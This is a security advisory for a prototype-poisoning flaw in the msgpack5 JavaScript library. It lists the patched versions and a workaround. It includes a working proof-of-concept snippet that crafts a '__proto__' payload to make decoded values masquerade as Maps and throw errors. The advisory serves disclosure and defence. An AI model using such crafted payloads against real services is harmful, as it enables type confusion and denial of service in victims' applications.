GHSA-gmjw-49p4-pcfm

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GHSA-gmjw-49p4-pcfm

Summary: Prototype poisoning

Details: ### Impact The issue is as follows: when `msgpack5` decodes a map containing a key `"__proto__"`, it assigns the decoded value to `__proto__`. As you are no doubt aware, `Object.prototype.__proto__` is an accessor property for the receiver's prototype. If the value corresponding to the key `__proto__` decodes to an object or `null`, `msgpack5` sets the decoded object's prototype to that value. An attacker who can submit crafted MessagePack data to a service can use this to produce values that appear to be of other types; may have unexpected prototype properties and methods (for example `length`, numeric properties, and `push` et al if `__proto__`'s value decodes to an `Array`); and/or may throw unexpected exceptions when used (for example if the `__proto__` value decodes to a `Map` or `Date`). Other unexpected behavior might be produced for other types. There is no effect on the global prototype. An example: ```js const msgpack5 = require('msgpack5')(); const payload = {}; Object.defineProperty(payload, '__proto__', { value: new Map().set(1, 2), enumerable: true }); const encoded = msgpack5.encode(payload); console.log(encoded); // <Buffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02> const decoded = msgpack5.decode(encoded); // decoded's prototype has been overwritten console.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 => 2 } console.log(decoded.get); // [Function: get] // decoded appears to most common typechecks to be a Map console.log(decoded instanceof Map); // true console.log(decoded.toString()); // [object Map] console.log(Object.prototype.toString.call(decoded)); // [object Map] console.log(decoded.constructor.name); // Map console.log(Object.getPrototypeOf(decoded).constructor.name); // Map // decoded is not, however, a Map console.log(Object.getPrototypeOf(decoded) === Map.prototype); // false // using decoded as though it were a Map throws try { decoded.get(1); } catch (error) { console.log(error); // TypeError: Method Map.prototype.get called // on incompatible receiver #<Map> } try { decoded.size; } catch (error) { console.log(error); // TypeError: Method get Map.prototype.size // called on incompatible receiver #<Map> } // re-encoding the decoded value throws try { msgpack5.encode(decoded); } catch (error) { console.log(error); // TypeError: Method Map.prototype.entries // called on incompatible receiver #<Map> } ``` This "prototype poisoning" is sort of a very limited inversion of a prototype pollution attack. Only the decoded value's prototype is affected, and it can only be set to `msgpack5` values (though if the victim makes use of custom codecs, anything could be a `msgpack5` value). We have not found a way to escalate this to true prototype pollution (absent other bugs in the consumer's code). ### Patches Versions v5.2.1, v4.5.1, v3.6.1 include the fix. ### Workarounds Always validate incoming data after parsing before doing any processing. ### For more information If you have any questions or comments about this advisory: * Open an issue in [example link to repo](http://example.com) * Email us at [example email address](mailto:[email protected])

References: https://github.com/mcollina/msgpack5/security/advisories/GHSA-gmjw-49p4-pcfm, https://nvd.nist.gov/vuln/detail/CVE-2021-21368, https://github.com/mcollina/msgpack5/commit/d4e6cb956ae51c8bb2828e71c7c1107c340cf1e8, https://github.com/mcollina/msgpack5/releases/tag/v3.6.1, https://github.com/mcollina/msgpack5/releases/tag/v4.5.1, https://github.com/mcollina/msgpack5/releases/tag/v5.2.1, https://www.npmjs.com/package/msgpack5